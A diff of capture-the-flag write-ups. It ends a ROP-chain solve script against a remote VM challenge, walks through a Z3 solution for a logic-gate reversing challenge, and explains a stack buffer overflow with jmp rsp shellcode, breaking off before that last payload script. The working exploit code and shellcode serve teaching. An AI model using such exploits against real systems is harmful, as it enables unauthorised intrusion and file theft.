Now that the ROP chain is placed in RAM and we have the address of our pivot gadget, we need to redirect execution flow.
|
||||||
|
1. **Target Register H:** Writing to register `h` overwrites the `debug_log` function pointer.
|
||||||
|
2. **The Payload:** We use `MOVI h, <ADDR_OF_PIVOT>` to replace the default logger address with the address of our stack pivot gadget.
|
||||||
|
|
||||||
|
### Step 5: Trigger the Chain
|
||||||
|
The final step is to execute the hijacked function pointer.
|
||||||
|
1. **The Trigger Command:** We type `execute` to compile our writers, and then run `debug`.
|
||||||
|
2. **Execution Flow:**
|
||||||
|
* The `main` loop calls the function pointer at register `h`.
|
||||||
|
* Since we overwrote it, it jumps to `mov rsp, rdi; ret`.
|
||||||
|
* `RDI` holds the RAM pointer, so `RSP` becomes the RAM pointer.
|
||||||
|
* The CPU executes `ret`, popping the first gadget from our ROP chain in RAM.
|
||||||
|
* The chain executes `open`, `read`, and `write`, printing the flag to our console!
|
||||||
|
|
||||||
|
## 4. The Solution Script
|
||||||
|
|
||||||
|
Here is the complete `solve.py` script. It automates the leakage, calculation, and payload delivery.
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
# =============================================================================
|
||||||
|
# CONFIGURATION
|
||||||
|
# =============================================================================
|
||||||
|
OFFSET_DEFAULT_LOG = 0x00109a22
|
||||||
|
HOST = '87.106.77.47'
|
||||||
|
PORT = 1378
|
||||||
|
|
||||||
|
# Set context (still needed for packing/unpacking)
|
||||||
|
exe = './g_forcevm'
|
||||||
|
elf = ELF(exe, checksec=False)
|
||||||
|
context.binary = elf
|
||||||
|
context.log_level = 'info'
|
||||||
|
|
||||||
|
def start():
|
||||||
|
# [CHANGE] Use remote() instead of process()
|
||||||
|
return remote(HOST, PORT)
|
||||||
|
|
||||||
|
p = start()
|
||||||
|
|
||||||
|
def send_cmd(cmd):
|
||||||
|
p.sendline(cmd.encode())
|
||||||
|
|
||||||
|
def wait_prompt():
|
||||||
|
return p.recvuntil(b"> ")
|
||||||
|
|
||||||
|
log.info(f"--- G-Force Payload Builder (Target: {HOST}:{PORT}) ---")
|
||||||
|
wait_prompt()
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# STEP 1: LIVE LEAK
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
log.info("STEP 1: Leaking Addresses...")
|
||||||
|
send_cmd("movr a, h")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("movr b, g")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("saver a, 0")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("saver b, 8")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd("execute")
|
||||||
|
wait_prompt()
|
||||||
|
|
||||||
|
# Read the leaks
|
||||||
|
send_cmd("ram 0 16")
|
||||||
|
p.recvuntil(b"0000: ")
|
||||||
|
dump_line = p.recvline().decode().strip().split()
|
||||||
|
wait_prompt()
|
||||||
|
bytes_all = [int(b, 16) for b in dump_line]
|
||||||
|
|
||||||
|
leak_logger = 0
|
||||||
|
for i in range(8):
|
||||||
|
leak_logger += bytes_all[i] << (i*8)
|
||||||
|
|
||||||
|
leak_heap = 0
|
||||||
|
for i in range(8):
|
||||||
|
leak_heap += bytes_all[8+i] << (i*8)
|
||||||
|
|
||||||
|
binary_base = leak_logger - OFFSET_DEFAULT_LOG
|
||||||
|
addr_farm = leak_logger - 0x75
|
||||||
|
|
||||||
|
# Gadgets
|
||||||
|
addr_pop_rdi = addr_farm + 0
|
||||||
|
addr_pop_rsi = addr_farm + 2
|
||||||
|
addr_pop_rdx = addr_farm + 4
|
||||||
|
addr_pop_rax = addr_farm + 6
|
||||||
|
addr_syscall = addr_farm + 8
|
||||||
|
addr_pivot = addr_farm + 11
|
||||||
|
|
||||||
|
log.success(f" Leaked Logger: {hex(leak_logger)}")
|
||||||
|
log.success(f" Leaked Heap: {hex(leak_heap)}")
|
||||||
|
log.success(f" Base address: {hex(binary_base)}")
|
||||||
|
log.success(f" Addr Farm: {hex(addr_farm)}")
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# STEP 2: CONSTRUCT CHAIN
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
log.info("STEP 2: Construct ROP chain...")
|
||||||
|
|
||||||
|
chain = [
|
||||||
|
# --- OPEN("./flag.txt", 0, 0) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
leak_heap + 0x200, # ptr to "./flag.txt"
|
||||||
|
addr_pop_rsi,
|
||||||
|
0,
|
||||||
|
addr_pop_rdx,
|
||||||
|
0,
|
||||||
|
addr_pop_rax,
|
||||||
|
2,
|
||||||
|
addr_syscall,
|
||||||
|
|
||||||
|
# --- READ(3, buffer, 100) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
3,
|
||||||
|
addr_pop_rsi,
|
||||||
|
leak_heap + 0x300, # ptr to buffer
|
||||||
|
addr_pop_rdx,
|
||||||
|
100,
|
||||||
|
addr_pop_rax,
|
||||||
|
0,
|
||||||
|
addr_syscall,
|
||||||
|
|
||||||
|
# --- WRITE(1, buffer, 64) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
1,
|
||||||
|
addr_pop_rsi,
|
||||||
|
leak_heap + 0x300,
|
||||||
|
addr_pop_rdx,
|
||||||
|
35,
|
||||||
|
addr_pop_rax,
|
||||||
|
1,
|
||||||
|
addr_syscall,
|
||||||
|
|
||||||
|
# --- EXIT(0) ---
|
||||||
|
addr_pop_rdi,
|
||||||
|
0,
|
||||||
|
addr_pop_rax,
|
||||||
|
60,
|
||||||
|
addr_syscall,
|
||||||
|
]
|
||||||
|
|
||||||
|
# Send chain
|
||||||
|
i = 0
|
||||||
|
while i < len(chain):
|
||||||
|
send_cmd(f"movi a,{hex(chain[i])}")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd(f"saver a,{hex(i*8)}")
|
||||||
|
wait_prompt()
|
||||||
|
i = i+1
|
||||||
|
|
||||||
|
# Send string "./flag.txt" at offset 0x200
|
||||||
|
flag_str = b'./flag.txt\0'
|
||||||
|
for i in range(0, len(flag_str), 8):
|
||||||
|
chunk = flag_str[i:i+8].ljust(8, b'\0')
|
||||||
|
val = u64(chunk)
|
||||||
|
send_cmd(f"movi a, {hex(val)}")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd(f"saver a,{0x200 + i}")
|
||||||
|
wait_prompt()
|
||||||
|
|
||||||
|
# Execute chain placement
|
||||||
|
send_cmd("execute")
|
||||||
|
p.recvuntil(b"> ")
|
||||||
|
send_cmd("ram 0x00 0x30")
|
||||||
|
p.recvuntil(b"> ")
|
||||||
|
log.success(f" ROP Chain placed")
|
||||||
|
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
# STEP 3: ARM & TRIGGER
|
||||||
|
# -----------------------------------------------------------------------------
|
||||||
|
log.info("STEP 3: Arming...")
|
||||||
|
send_cmd(f"movi h,{hex(addr_pivot)}")
|
||||||
|
wait_prompt()
|
||||||
|
send_cmd(f"execute")
|
||||||
|
p.recvuntil(b"> ")
|
||||||
|
log.success(f" Armed")
|
||||||
|
|
||||||
|
log.info("STEP 4: Trigger...")
|
||||||
|
# Removed input() pause for automated remote exploitation, add back if needed
|
||||||
|
#input("Press [ENTER] to trigger...")
|
||||||
|
|
||||||
|
log.info("Executing...")
|
||||||
|
send_cmd(f"debug")
|
||||||
|
|
||||||
|
try:
|
||||||
|
# recvall is essential here as the remote closes connection after exit()
|
||||||
|
output = p.recvall(timeout=3)
|
||||||
|
|
||||||
|
print("\n" + "="*50)
|
||||||
|
print("FINAL OUTPUT:")
|
||||||
|
print(output.decode(errors='ignore'))
|
||||||
|
print("="*50)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
log.error(f"Error receiving flag: {e}")
|
||||||
|
|
||||||
|
p.close()
|
||||||
|
```
|
||||||
298
gatekeeper.md
Normal file
298
gatekeeper.md
Normal file
@@ -0,0 +1,298 @@
|
|||||||
|
# The Gatekeeper
|
||||||
|
|
||||||
|
`gatekeeper` is a reverse engineering challenge involving a software-simulated hardware circuit. We are provided with a binary and must find the input that "completes the circuit" and turns the LED on.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
We start by analyzing the binary:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file gatekeeper
|
||||||
|
gatekeeper: ELF 64-bit LSB pie executable, x86-64, ... stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
It is a stripped, statically linked 64-bit ELF executable.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
### 1. Analyzing Main (`FUN_00108860`)
|
||||||
|
|
||||||
|
We open the binary in Ghidra and locate the `main` function at `0x00108860`.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(void)
|
||||||
|
{
|
||||||
|
// ... stack setup ...
|
||||||
|
|
||||||
|
FUN_00114970("--- THE GATEKEEPER ---");
|
||||||
|
do {
|
||||||
|
FUN_00153610(1, "Enter the flag that lights up the LED: ");
|
||||||
|
|
||||||
|
// Read user input
|
||||||
|
lVar1 = FUN_00114410(local_1e8, 0x80, PTR_DAT_001d4d78);
|
||||||
|
if (lVar1 == 0) break;
|
||||||
|
|
||||||
|
// Length Check
|
||||||
|
lVar1 = thunk_FUN_001246c0(local_1e8);
|
||||||
|
if (lVar1 == 36) {
|
||||||
|
|
||||||
|
// ... (Complex logic expanding 36 characters into 288 bits) ...
|
||||||
|
|
||||||
|
// Clear a large array at 0x1d6940 (Cache/Memoization)
|
||||||
|
puVar6 = &DAT_001d6940;
|
||||||
|
for (lVar1 = 0x1ba; lVar1 != 0; lVar1 = lVar1 + -1) {
|
||||||
|
*puVar6 = 0;
|
||||||
|
puVar6 = puVar6 + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Call the Verification Function
|
||||||
|
// It takes 0x374 (884) as the first argument and the bit array as the second
|
||||||
|
iVar2 = FUN_001090d0(0x374, &local_168);
|
||||||
|
|
||||||
|
if (iVar2 == 1) {
|
||||||
|
FUN_00114970("LED is ON");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
FUN_00114970("LED is OFF");
|
||||||
|
} while( true );
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
From `main`, we learn:
|
||||||
|
1. The flag must be exactly **36 characters** long.
|
||||||
|
2. The input is converted into an array of bits.
|
||||||
|
3. A verification function `FUN_001090d0` is called starting with index **884**.
|
||||||
|
|
||||||
|
### 2. Identifying the Gate Logic (`FUN_001090d0`)
|
||||||
|
|
||||||
|
The function `FUN_001090d0` determines if our input is correct. It acts as a recursive evaluator for a logic circuit.
|
||||||
|
|
||||||
|
It accepts a `gate_index` as an argument. It uses this index to look up a gate structure from a global array at `0x001d1020`. Each gate structure contains an opcode and indices for other gates (inputs).
|
||||||
|
|
||||||
|
**The Recursive Process:**
|
||||||
|
When the function evaluates a gate (e.g., an AND gate), it cannot know the result immediately. Instead, it must first determine the state of the inputs feeding into that gate.
|
||||||
|
1. It calls itself (`FUN_001090d0`) with the index of the **Left Child**.
|
||||||
|
2. It calls itself with the index of the **Right Child**.
|
||||||
|
3. It performs the logic operation (AND/OR/XOR) on those two results and returns the value.
|
||||||
|
|
||||||
|
This recursion continues deep into the circuit tree until it hits a "base case": an **INPUT** gate (Case 0). The INPUT gate simply reads a bit from our flag and returns it, stopping the recursion for that branch. The values then bubble back up the tree to the root.
|
||||||
|
|
||||||
|
By analyzing the `switch` statement inside, we can identify the specific operations:
|
||||||
|
|
||||||
|
#### Case 1: AND Gate
|
||||||
|
This logic represents an AND operation. Note the recursion: it evaluates the left child first. If that returns 0, it short-circuits and returns 0. Otherwise, it evaluates the right child.
|
||||||
|
```c
|
||||||
|
case 1:
|
||||||
|
// Recursive call for Left Child
|
||||||
|
if (FUN_001090d0(left_idx) == 0) {
|
||||||
|
result = 0;
|
||||||
|
} else {
|
||||||
|
// Recursive call for Right Child
|
||||||
|
result = FUN_001090d0(right_idx);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Case 2: OR Gate
|
||||||
|
Similar to AND, but returns 1 if the left child is 1.
|
||||||
|
```c
|
||||||
|
case 2:
|
||||||
|
if (FUN_001090d0(left_idx) == 1) {
|
||||||
|
result = 1;
|
||||||
|
} else {
|
||||||
|
result = FUN_001090d0(right_idx);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Case 3: XOR Gate
|
||||||
|
This explicitly uses the XOR operator on the results of the two recursive calls.
|
||||||
|
```c
|
||||||
|
case 3:
|
||||||
|
result = FUN_001090d0(left_idx) ^ FUN_001090d0(right_idx);
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Case 4: NOT Gate
|
||||||
|
This gate only has one input (Left Child). It calls the function recursively and inverts the result.
|
||||||
|
```c
|
||||||
|
case 4:
|
||||||
|
result = !FUN_001090d0(left_idx);
|
||||||
|
return result;
|
||||||
|
```
|
||||||
|
|
||||||
|
#### Case 0: INPUT Gate
|
||||||
|
This is the base case of the recursion. It retrieves a raw bit from the user's input array.
|
||||||
|
```c
|
||||||
|
case 0:
|
||||||
|
return input_bits[gate->bit_index];
|
||||||
|
```
|
||||||
|
|
||||||
|
**Conclusion:**
|
||||||
|
The binary is a **logic gate simulator**. The verification mechanism is a large circuit (885 gates) stored in the `.data` section. We need to find the input bits that cause the final "root" gate (884) to output a logic `1`.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
We can solve this by using the **Z3 Theorem Prover**. Z3 is essentially an "inverse calculator." We can explain the rules of the circuit to Z3 (e.g., "Gate 5 is the XOR of Gate 3 and Gate 4") and then ask it "What input bits make the final gate equal 1?". Z3 will mathematically find the correct combination of bits.
|
||||||
|
|
||||||
|
We will build the solution script step-by-step.
|
||||||
|
|
||||||
|
### 1. Extracting the Circuit
|
||||||
|
First, we need to read the raw data of the 885 gates from the binary. Each gate is 16 bytes: `[Opcode, Left_ID, Right_ID, Value]`. We read this data into a Python dictionary.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
import z3
|
||||||
|
|
||||||
|
FILENAME = "gatekeeper"
|
||||||
|
OFFSET = 0xd0020 # Location of the gate array in the file
|
||||||
|
GATE_COUNT = 885
|
||||||
|
|
||||||
|
# Define opcodes for readability
|
||||||
|
OP_INPUT, OP_AND, OP_OR, OP_XOR, OP_NOT = range(5)
|
||||||
|
|
||||||
|
class Gate:
|
||||||
|
def __init__(self, op, left, right, val):
|
||||||
|
self.op, self.left, self.right, self.val = op, left, right, val
|
||||||
|
|
||||||
|
# Load the circuit structure
|
||||||
|
gates = {}
|
||||||
|
with open(FILENAME, "rb") as f:
|
||||||
|
f.seek(OFFSET)
|
||||||
|
for i in range(GATE_COUNT):
|
||||||
|
data = f.read(16)
|
||||||
|
# Unpack 4 integers (little-endian)
|
||||||
|
op, left, right, val = struct.unpack("<iiii", data)
|
||||||
|
gates[i] = Gate(op, left, right, val)
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2. Defining Z3 Variables
|
||||||
|
We create 288 variables to represent the bits of our flag (36 characters * 8 bits). These are the "unknowns" Z3 needs to solve for.
|
||||||
|
|
||||||
|
```python
|
||||||
|
s = z3.Solver()
|
||||||
|
# Create 288 boolean variables: bit_0, bit_1, ... bit_287
|
||||||
|
input_bits = [z3.Bool(f'bit_{i}') for i in range(36 * 8)]
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Modeling the Logic
|
||||||
|
We need a function that translates our Gate objects into Z3 logical expressions. This function is recursive, mirroring the structure of `FUN_001090d0`.
|
||||||
|
- If we encounter an **AND** gate, we tell Z3: "The value of this gate is `And(value_of_left, value_of_right)`".
|
||||||
|
- If we encounter an **INPUT** gate, we tell Z3: "The value of this gate is `input_bits[value]`".
|
||||||
|
|
||||||
|
We use a cache (`gate_vars`) to ensure we don't process the same gate multiple times, which keeps the script efficient.
|
||||||
|
|
||||||
|
```python
|
||||||
|
gate_vars = {}
|
||||||
|
|
||||||
|
def get_var(idx):
|
||||||
|
if idx in gate_vars: return gate_vars[idx]
|
||||||
|
|
||||||
|
g = gates[idx]
|
||||||
|
|
||||||
|
if g.op == OP_INPUT:
|
||||||
|
# Link this gate directly to one of our unknown flag bits
|
||||||
|
res = input_bits[g.val]
|
||||||
|
elif g.op == OP_AND:
|
||||||
|
res = z3.And(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_OR:
|
||||||
|
res = z3.Or(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_XOR:
|
||||||
|
res = z3.Xor(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_NOT:
|
||||||
|
res = z3.Not(get_var(g.left))
|
||||||
|
|
||||||
|
gate_vars[idx] = res
|
||||||
|
return res
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4. Solving and Reconstructing
|
||||||
|
Finally, we add the constraint that the **Root Gate (884)** must be True. Then we ask Z3 to solve. If successful, we convert the resulting bits back into ASCII characters.
|
||||||
|
|
||||||
|
```python
|
||||||
|
# The final gate must output 1 (True)
|
||||||
|
s.add(get_var(GATE_COUNT - 1) == True)
|
||||||
|
|
||||||
|
if s.check() == z3.sat:
|
||||||
|
m = s.model()
|
||||||
|
# Convert the boolean model back to 0s and 1s
|
||||||
|
bits = [1 if m.evaluate(input_bits[i]) else 0 for i in range(36 * 8)]
|
||||||
|
|
||||||
|
flag = ""
|
||||||
|
for i in range(36):
|
||||||
|
char_val = 0
|
||||||
|
for b in range(8):
|
||||||
|
# Reconstruct the byte from 8 bits
|
||||||
|
if bits[i*8 + (7-b)] == 1: char_val |= (1 << b)
|
||||||
|
flag += chr(char_val)
|
||||||
|
print(f"Flag: {flag}")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Complete Solver Script
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
import z3
|
||||||
|
|
||||||
|
FILENAME = "gatekeeper"
|
||||||
|
OFFSET = 0xd0020
|
||||||
|
GATE_COUNT = 885
|
||||||
|
FLAG_LEN = 36
|
||||||
|
|
||||||
|
OP_INPUT, OP_AND, OP_OR, OP_XOR, OP_NOT = range(5)
|
||||||
|
|
||||||
|
class Gate:
|
||||||
|
def __init__(self, op, left, right, val):
|
||||||
|
self.op, self.left, self.right, self.val = op, left, right, val
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
# 1. Load circuit
|
||||||
|
gates = {}
|
||||||
|
with open(FILENAME, "rb") as f:
|
||||||
|
f.seek(OFFSET)
|
||||||
|
for i in range(GATE_COUNT):
|
||||||
|
data = f.read(16)
|
||||||
|
op, left, right, val = struct.unpack("<iiii", data)
|
||||||
|
gates[i] = Gate(op, left, right, val)
|
||||||
|
|
||||||
|
# 2. Setup Solver
|
||||||
|
s = z3.Solver()
|
||||||
|
input_bits = [z3.Bool(f'bit_{i}') for i in range(FLAG_LEN * 8)]
|
||||||
|
gate_vars = {}
|
||||||
|
|
||||||
|
# 3. Recursive Logic Model
|
||||||
|
def get_var(idx):
|
||||||
|
if idx in gate_vars: return gate_vars[idx]
|
||||||
|
g = gates[idx]
|
||||||
|
|
||||||
|
if g.op == OP_INPUT: res = input_bits[g.val]
|
||||||
|
elif g.op == OP_AND: res = z3.And(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_OR: res = z3.Or(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_XOR: res = z3.Xor(get_var(g.left), get_var(g.right))
|
||||||
|
elif g.op == OP_NOT: res = z3.Not(get_var(g.left))
|
||||||
|
|
||||||
|
gate_vars[idx] = res
|
||||||
|
return res
|
||||||
|
|
||||||
|
# 4. Assert Root Gate is True
|
||||||
|
s.add(get_var(GATE_COUNT - 1) == True)
|
||||||
|
|
||||||
|
# 5. Extract Result
|
||||||
|
if s.check() == z3.sat:
|
||||||
|
m = s.model()
|
||||||
|
bits = [1 if m.evaluate(input_bits[i]) else 0 for i in range(FLAG_LEN * 8)]
|
||||||
|
flag = ""
|
||||||
|
for i in range(FLAG_LEN):
|
||||||
|
char_val = 0
|
||||||
|
for b in range(8):
|
||||||
|
if bits[i*8 + (7-b)] == 1: char_val |= (1 << b)
|
||||||
|
flag += chr(char_val)
|
||||||
|
print(f"Flag: {flag}")
|
||||||
|
|
||||||
|
solve()
|
||||||
|
```
|
||||||
|
|
||||||
|
### Result
|
||||||
|
Running the script yields the flag:
|
||||||
|
`{flag: S0ftW4r3_d3F1n3d_l0g1c_G4t3s}`
|
||||||
302
glitchify.md
Normal file
302
glitchify.md
Normal file
@@ -0,0 +1,302 @@
|
|||||||
|
# Glitchify
|
||||||
|
Glitchify is a "Glitch Art" SaaS that applies a noise filter to 24-bit BMP images. While the interface warns about memory limits (32x32 pixels), the underlying C application contains a classic stack-based buffer overflow and an executable stack, making it a perfect target for a custom shellcode exploit.
|
||||||
|
|
||||||
|
## Initial Analysis
|
||||||
|
|
||||||
|
We are provided with the following files:
|
||||||
|
- `app.py`: The Flask web wrapper.
|
||||||
|
- `glitcher`: The compiled ELF64 binary.
|
||||||
|
- `compose.yml` & `Dockerfile`: The container configuration.
|
||||||
|
- `good.bmp` & `bad.bmp`: Sample images.
|
||||||
|
|
||||||
|
### 1. Identifying the Goal
|
||||||
|
By examining the `Dockerfile`, we can see exactly how the server is set up:
|
||||||
|
```dockerfile
|
||||||
|
WORKDIR /home/ctf
|
||||||
|
COPY glitcher .
|
||||||
|
COPY app.py .
|
||||||
|
COPY flag.txt .
|
||||||
|
```
|
||||||
|
The flag is located at `/home/ctf/flag.txt`. Our goal is to read this file.
|
||||||
|
|
||||||
|
### 2. Understanding the Pipeline
|
||||||
|
The `app.py` script reveals that the server captures the `stdout` of the binary and displays it to the user:
|
||||||
|
```python
|
||||||
|
result = subprocess.run(
|
||||||
|
['./glitcher', b64_data],
|
||||||
|
capture_output=True,
|
||||||
|
text=True,
|
||||||
|
timeout=2
|
||||||
|
)
|
||||||
|
output = result.stdout + result.stderr
|
||||||
|
```
|
||||||
|
If we can execute a shellcode that reads `flag.txt` and writes it to `stdout`, the flag will appear directly in the web interface.
|
||||||
|
|
||||||
|
## Binary Reconnaissance
|
||||||
|
|
||||||
|
Before diving into a decompiler, let's gather basic information about the environment.
|
||||||
|
|
||||||
|
### 1. File Properties
|
||||||
|
```bash
|
||||||
|
$ file glitcher
|
||||||
|
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
|
||||||
|
```
|
||||||
|
The binary is **not stripped**, meaning we'll have access to function names during analysis.
|
||||||
|
|
||||||
|
### 2. Security Protections
|
||||||
|
```bash
|
||||||
|
$ readelf -h glitcher | grep Type
|
||||||
|
Type: EXEC (Executable file)
|
||||||
|
```
|
||||||
|
**PIE is disabled**. The binary loads at fixed addresses, which simplifies our exploit since we don't need to bypass ASLR for the binary itself.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ readelf -l glitcher | grep -A 1 GNU_STACK
|
||||||
|
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||||
|
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||||
|
```
|
||||||
|
**NX is disabled** (`RWE`). This is a critical finding: **the stack is executable**. We can jump to and execute code we place on the stack.
|
||||||
|
|
||||||
|
## Static Analysis (Following the Execution Flow)
|
||||||
|
|
||||||
|
Now that we know the environment is permissive, let's trace how the program processes our input by following the logic in a decompiler.
|
||||||
|
|
||||||
|
### 1. The Entry Point (`main`)
|
||||||
|
The program starts by taking our base64-encoded image from the command line:
|
||||||
|
1. It allocates memory for the raw data.
|
||||||
|
2. It calls `base64_decode` to convert our input back to binary.
|
||||||
|
3. It passes this decoded data to the `process_bmp` function.
|
||||||
|
|
||||||
|
### 2. Validating the Image (`process_bmp`)
|
||||||
|
This function acts as the gatekeeper. It parses the BMP headers to ensure the file is valid:
|
||||||
|
1. **Header Check**: It verifies the "BM" magic bytes.
|
||||||
|
2. **Format Check**: It ensures the image is 24-bit (standard RGB).
|
||||||
|
3. **Size Calculation**: It calculates the total pixel data size: `width * height * 3`.
|
||||||
|
4. **Hand-off**: Finally, it calls `apply_noise_filter`, passing a pointer to the pixel data and the calculated `data_size`.
|
||||||
|
|
||||||
|
### 3. The Vulnerability (`apply_noise_filter`)
|
||||||
|
This is where things go wrong. Let's look at the decompiled logic:
|
||||||
|
```c
|
||||||
|
void apply_noise_filter(char *src_data, int data_size) {
|
||||||
|
char process_buffer[3072]; // Fixed size on the stack
|
||||||
|
|
||||||
|
// ... log initialization ...
|
||||||
|
|
||||||
|
// CRITICAL: No check if data_size > 3072!
|
||||||
|
memcpy(process_buffer, src_data, data_size);
|
||||||
|
|
||||||
|
// ... XOR loop (The "Glitch") ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
The programmer assumed that users would stick to the 32x32 limit mentioned in the warning. Since `memcpy` doesn't check the destination buffer's size, providing a larger `width` or `height` in our BMP header allows us to write past the end of `process_buffer` and into the function's stack frame, overwriting the saved Return Address.
|
||||||
|
|
||||||
|
### 4. The "Glitch" Filter
|
||||||
|
After the overflow, but *before* the function returns, the binary applies an XOR filter:
|
||||||
|
```c
|
||||||
|
for (idx = 0; idx < data_size; idx++) {
|
||||||
|
process_buffer[idx] ^= (char)(idx % 256);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
This loop will scramble our shellcode and return address before the function returns. To ensure our code remains valid when the function eventually hits its `ret` instruction, we must **pre-XOR** our entire payload.
|
||||||
|
|
||||||
|
## Exploitation Strategy (Finding the Path)
|
||||||
|
|
||||||
|
We have a buffer overflow and an executable stack. However, even with PIE disabled, the exact address of the stack can vary slightly between environments (due to environment variables, etc.). To make our exploit reliable, we need a way to redirect execution to the stack without hardcoding a stack address.
|
||||||
|
|
||||||
|
### 1. The Search for a Gadget
|
||||||
|
We need an instruction already present in the binary that will "jump" to the stack pointer. In x86_64, the stack pointer is stored in the `rsp` register. Therefore, we are looking for a gadget like:
|
||||||
|
- `jmp rsp`
|
||||||
|
- `call rsp`
|
||||||
|
- `push rsp; ret`
|
||||||
|
|
||||||
|
### 2. Hunting for the Gadget
|
||||||
|
We can use `objdump` to search the entire disassembly for these specific instructions. Let's look for a `jmp rsp`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d glitcher -M intel | grep "jmp rsp"
|
||||||
|
4018d6: ff e4 jmp rsp
|
||||||
|
```
|
||||||
|
|
||||||
|
We found a match! There is a `jmp rsp` instruction located at address **`0x4018d6`**.
|
||||||
|
|
||||||
|
### 3. Verification
|
||||||
|
Since our binary isn't stripped, we can check which function contains this gadget to understand why it's there:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
|
||||||
|
00000000004018ce <get_pixels>:
|
||||||
|
4018ce: f3 0f 1e fa endbr64
|
||||||
|
4018d2: 55 push rbp
|
||||||
|
4018d3: 48 89 e5 mov rbp,rsp
|
||||||
|
4018d6: ff e4 jmp rsp
|
||||||
|
```
|
||||||
|
|
||||||
|
It turns out the gadget is inside a function called `get_pixels`. This address (`0x4018d6`) is perfect because it's fixed and will jump exactly to the memory immediately following our return address on the stack—where we will place our shellcode.
|
||||||
|
|
||||||
|
## Building the Exploit Step-by-Step
|
||||||
|
|
||||||
|
### Step 1: Crafting the Shellcode
|
||||||
|
Since we need to read a file and output to `stdout`, we'll use an `open` -> `read` -> `write` sequence. Here is the assembly breakdown:
|
||||||
|
|
||||||
|
```nasm
|
||||||
|
; --- Open "flag.txt" ---
|
||||||
|
push 0 ; Null terminator for string
|
||||||
|
mov rbx, 0x7478742e67616c66 ; "flag.txt" in hex (little-endian)
|
||||||
|
push rbx ; Push string to stack
|
||||||
|
mov rdi, rsp ; RDI = pointer to "flag.txt"
|
||||||
|
xor esi, esi ; RSI = 0 (O_RDONLY)
|
||||||
|
push 2 ; RAX = 2 (sys_open)
|
||||||
|
pop rax
|
||||||
|
syscall ; open("flag.txt", 0)
|
||||||
|
|
||||||
|
; --- Read file content ---
|
||||||
|
mov rdi, rax ; RDI = file descriptor (from rax)
|
||||||
|
mov rsi, rsp ; RSI = buffer (reuse stack space)
|
||||||
|
mov edx, 0x100 ; RDX = 256 bytes to read
|
||||||
|
push 0 ; RAX = 0 (sys_read)
|
||||||
|
pop rax
|
||||||
|
syscall ; read(fd, rsp, 256)
|
||||||
|
|
||||||
|
; --- Write to stdout ---
|
||||||
|
mov rdx, rax ; RDX = bytes read (from rax)
|
||||||
|
push 1 ; RDI = 1 (stdout)
|
||||||
|
pop rdi
|
||||||
|
push 1 ; RAX = 1 (sys_write)
|
||||||
|
pop rax
|
||||||
|
syscall ; write(1, rsp, rdx)
|
||||||
|
|
||||||
|
; --- Exit cleanly ---
|
||||||
|
push 60 ; RAX = 60 (sys_exit)
|
||||||
|
pop rax
|
||||||
|
xor rdi, rdi ; RDI = 0
|
||||||
|
syscall ; exit(0)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step 2: Calculating the Padding
|
||||||
|
The `process_buffer` is 3072 bytes. To reach the return address, we must also overwrite the saved RBP (8 bytes).
|
||||||
|
- **Padding**: 3080 bytes.
|
||||||
|
- **Return Address**: `0x4018d6` (`jmp rsp`).
|
||||||
|
- **Payload**: `Padding` + `RetAddr` + `Shellcode`.
|
||||||
|
|
||||||
|
### Step 3: Bypassing the XOR Filter
|
||||||
|
We pre-XOR our raw payload so that when the server "glitches" it, it actually "decrypts" it back to our original code.
|
||||||
|
```python
|
||||||
|
